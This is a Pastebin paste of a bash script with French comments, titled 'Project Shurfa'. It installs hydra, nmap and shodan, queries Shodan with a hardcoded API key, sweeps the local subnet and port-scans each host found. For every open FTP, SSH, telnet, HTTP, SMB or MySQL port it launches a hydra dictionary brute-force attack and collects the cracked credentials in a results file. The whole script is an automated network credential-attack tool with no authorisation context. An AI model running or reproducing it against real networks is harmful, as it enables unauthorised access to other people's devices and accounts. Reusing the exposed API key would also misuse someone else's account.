Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- red=`tput setaf 1`
- green=`tput setaf 2`
- yellow=`tput setaf 3`
- blue=`tput setaf 4`
- magenta=`tput setaf 5`
- cyan=`tput setaf 6`
- reset=`tput sgr0`
- echo "${green} _____ _ _ _____ _ _ "
- echo " | __ \ (_) | | / ____| | | | "
- echo " | |__) | __ ___ _ ___ ___| |_ | (___ | |__ _ _ __| |_ __ ____ "
- echo " | ___/ _ _/ _ \| |/ _ \/ __| __| \___ \| _ \| | | |/ _ | __/ _ |"
- echo " | | | | | (_) | | __/ (__| |_ ____) | | | | |_| | (_| | | | (_| |"
- echo " |_| |_| \___/| |\___|\___|\__| |_____/|_| |_|\___ |\____|_| \____|"
- echo " _/ | __/ | "
- echo " |__/ |___/ ${reset} "
- printf "\n \n \n"
- ################
- #Initiliastion de variable inutile pour la suite du script
- ################
- ip=$(ifconfig eth0| grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}')
- #masque=$(ifconfig eth0| grep 'inet addr:' | cut -d: -f4 | awk '{ print $1}')
- cable=$(cat /sys/class/net/eth0/carrier)
- #mac=$(cat /sys/class/net/eth0/address)
- ###############
- #FONCTION LOADING
- ###############
- spinner()
- {
- local pid=$!
- local delay=0.75
- local spinstr='...'
- echo "${cyan}Installation..${reset} "
- while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
- local temp=${spinstr#?}
- printf "%s " "$spinstr"
- local spinstr=$temp${spinstr%"$temp"}
- sleep $delay
- printf "\b\b\b"
- done
- printf " \b\b\b\b"
- printf "\n"
- }
- spinner2()
- {
- local pid=$!
- local delay=0.75
- local spinstr='...'
- while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
- local temp=${spinstr#?}
- printf "%s " "$spinstr"
- local spinstr=$temp${spinstr%"$temp"}
- sleep $delay
- printf "\b\b\b"
- done
- printf " \b\b\b\b"
- printf "\n"
- }
- #################
- #Suppresion des fichiers restant avant de les recréer lors du nmap
- #################
- if [[ (-f TXT/id.txt) || (-f TXT/info_mac.txt) ]]
- then
- rm -rf TXT/id.txt
- rm -rf TXT/info_mac.txt
- fi
- ################
- #INSTALLER HYDRA
- ################
- dpkg-query -W -f='${Status} ${Version}' hydra > /dev/null 2>&1
- rc=$?
- if [ $rc != 0 ]
- then
- echo "${blue}INSTALLATION D'HYDRA${reset}"
- apt-get update -qq -y && apt-get install apt-transport-https hydra -y > /dev/null 2>&1 & spinner
- #apt-get install apt-transport-https -qq -y & spinner
- #apt-get install hydra -qq -y & spinner
- fi
- ################
- #INSTALLER NMAP
- ################
- dpkg-query -W -f='${Status} ${Version}' nmap > /dev/null 2>&1
- rc=$?
- if [ $rc != 0 ]
- then
- echo "${blue}INSTALLATION DE NMAP${reset}"
- #i=0
- #sp='/-\|'
- #n=${#sp}
- #printf ' '
- #while true; do
- # printf '\b%s' "${sp:i++%n:1}"
- #done
- apt-get install nmap -qq -y > /dev/null 2>&1 & spinner
- fi
- ################
- #INSTALLER IPCALC
- ################
- dpkg-query -W -f='${Status} ${Version}' ipcalc > /dev/null 2>&1
- rc=$?
- if [ $rc != 0 ]
- then
- echo "${blue}INSTALLATION D'IPCALC${reset}"
- #i=0
- #sp='/-\|'
- #n=${#sp}
- #printf ' '
- #while true; do
- # printf '\b%s' "${sp:i++%n:1}"
- #done
- apt-get install ipcalc -qq -y > /dev/null 2>&1 & spinner
- fi
- ################
- #INSTALLATION CURL
- ###############
- curl=$(dpkg-query -W -f='${Status}\n' curl | awk '{print $1}')
- if [ $curl != "install" ]
- then
- echo "${blue}INSTALLATION DE CURL${reset}"
- #i=0
- #sp='/-\|'
- #n=${#sp}
- #printf ' '
- #while true; do
- # printf '\b%s' "${sp:i++%n:1}"
- #done
- apt-get install curl -qq -y > /dev/null 2>&1 & spinner
- fi
- ################
- #INSTALLATION SHODAN
- ################
- pythontools=$(dpkg-query -W -f='${Status}\n' python-setuptools | awk '{print $1}')
- if [ $pythontools != "install" ]
- then
- echo "${blue}INSTALLATION DE SHODAN${reset}"
- #i=0
- #sp='/-\|'
- #n=${#sp}
- #printf ' '
- #while true; do
- # printf '\b%s' "${sp:i++%n:1}"
- #done
- apt-get install python-setuptools -qq -y > /dev/null 2>&1 & spinner
- fi
- dpkg-query -W -f='${Status} ${Version}' python-livestreamer > /dev/null 2>&1
- rc=$?
- if [ $rc != 0 ]
- then
- #i=0
- #sp='/-\|'
- #n=${#sp}
- #printf ' '
- #while true; do
- # printf '\b%s' "${sp:i++%n:1}"
- #done
- apt-get install python-livestreamer -qq -y > /dev/null 2>&1 & spinner2
- fi
- #installation double nécessaire
- easy_install shodan > /dev/null 2>&1
- easy_install shodan > /dev/null 2>&1
- ################
- #SHODAN
- ################
- echo "${green}Lancement de la recherche sur Shodan${reset}"
- printf "\n"
- shodan init eMI8dby7ouQ6mopitJleurz65KWJjqH7
- ip_publique=$(dig +short myip.opendns.com @resolver1.opendns.com)
- shodan host $ip_publique
- #if [ "1" = "1" ]
- #then
- ifconfig | awk -F " *" '
- # Each interface definition ends with an empty line,
- # even the last one. When an empty line is found we
- # print the results.
- $0 == "" {
- print iface" "mac" "ip" "masque
- iface = mac = ip = masque = "?"
- next
- }
- ################
- #On récupère les valeurs qui nous intéresse (ip, masque, réseau, MAC)
- ################
- $1 !~ /^ *$/ { iface = $1 }
- $2 ~ /^inet$/ { split( $3, a_res, ":" ); ip = a_res[2] }
- $4 ~ /^Mask:/ { split( $4, a_res, ":" ); masque = a_res[2] }
- $5 ~ /^Mask:/ { split( $5, a_res, ":" ); masque = a_res[2] }
- $4 == "HWaddr" { mac = $5 }
- ' | while read iface mac ip masque
- do
- # ipcalc gets network address and CIDR notation
- net=$( ipcalc -bn $ip"/"$masque | awk -F " *" '/Network:/ { print $2 }' )
- # print each line
- echo $iface $ip $net | grep eth0
- ################
- #NMAP
- ###############
- printf "\n"
- echo "${red}Scan du réseau en cours${reset}"
- if [ -d "TXT" ]; then
- NMAP=$(nmap -T5 -sP -n --exclude $ip $net | grep 'Nmap scan report for\|MAC Address' > TXT/nmap.txt )
- MAC=$(cat TXT/nmap.txt | grep 'MAC' | cut -c14-30 > TXT/list_mac.txt)
- macaddr=$(cat TXT/nmap.txt | grep 'MAC' | cut -c14-30)
- IP=$(cat TXT/nmap.txt | grep 'Nmap scan report for' | cut -c22- > TXT/list_ip.txt)
- FILE=$(paste -d '-' TXT/list_ip.txt TXT/list_mac.txt > TXT/list_host.txt)
- echo -e "${yellow} MAC Addresses : \n $macaddr ${reset}"
- echo "${red}Fin du scan${reset}"
- else
- mkdir TXT
- NMAP=$(nmap -T5 -sP -n --exclude $ip $net | grep 'Nmap scan report for\|MAC Address' > TXT/nmap.txt )
- MAC=$(cat TXT/nmap.txt | grep 'MAC' | cut -c14-30 > TXT/list_mac.txt)
- IP=$(cat TXT/nmap.txt | grep 'Nmap scan report for' | cut -c22- > TXT/list_ip.txt)
- FILE=$(paste -d '-' TXT/list_ip.txt TXT/list_mac.txt > TXT/list_host.txt)
- echo "{$yellow} MAC Addresses : $macaddr ${reset}"
- echo "${red}Fin du scan${reset}"
- fi
- printf "\n"
- echo "${magenta}Vous trouverez les résultats dans le dossier /home/$USER/TXT/list_host.txt${reset}"
- echo "${yellow}MACVENDORS - informations constructeurs -${reset}"
- printf "\n"
- echo "${green}Lancement d'Hydra ${reset}"
- printf "\n"
- for mac in $(cat TXT/list_mac.txt)
- do
- curl 'http://api.macvendors.com/'$mac > /dev/null 2>&1 >> TXT/info_mac.txt
- echo " " >> TXT/info_mac.txt
- done
- cat TXT/info_mac.txt
- for adress in $(cat TXT/list_ip.txt)
- do
- nmap $adress > TXT/nmap_detail.txt
- cat TXT/nmap_detail.txt | grep open | cut -d/ -f1 > TXT/list_port.txt
- for port in $(cat TXT/list_port.txt)
- do
- case $port in
- 21)
- protocol="ftp"
- hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol -t 4 >> TXT/id.txt
- ;;
- 22)
- protocol="ssh"
- hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol -t 4 >> TXT/id.txt
- ;;
- 23)
- protocol="telnet"
- hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol -t 4 >> TXT/id.txt
- ;;
- 80|8080|8081|9091)
- protocol="http"
- hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol >> TXT/id.txt
- ;;
- 445)
- protocol="smb"
- hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol >> TXT/id.txt
- ;;
- 3306)
- protocol="mysql"
- hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol -t 4 >> TXT/id.txt
- ;;
- # 9987)
- # protocol="teamspeak"
- # hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol >> TXT/id.txt
- # ;;
- esac
- done
- done
- cat TXT/id.txt | grep "host" > TXT/result.txt
- exit 1
- done
- cat TXT/result.txt
Advertisement
Add Comment
Please, Sign In to add comment